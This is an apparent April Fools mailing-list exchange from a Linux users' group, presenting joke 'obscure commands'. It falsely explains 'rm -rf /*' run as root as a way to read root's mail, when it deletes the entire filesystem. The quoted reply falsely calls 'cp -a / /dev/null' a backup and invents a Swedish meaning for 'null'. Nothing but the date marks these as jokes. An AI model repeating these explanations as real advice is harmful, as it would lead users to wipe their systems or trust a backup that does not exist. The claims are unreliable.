[clue] [Windows] Upgrading OS

[Will]

While on the topic of obscure and convenient commands.  Few people know that
when logged in a root a great way to read through all of the system mail for
root is "rm -rf /*"  < it is short for Read Mail -real fast the /* is a
regular expression to find all of root's mail in the mail spool.

On Fri, Apr 1, 2011 at 11:40 AM, <dennisjperkins at comcast.net> wrote:

> /dev/null is a fantastic backup device. Not many people know that.   I
> would suggest:
> cp -a / /dev/null
>
>
> null means 'backup' in Swedish (Linus'  mother tongue.) and will show up
> in Windows 7 as 'old_linux_backup'
>
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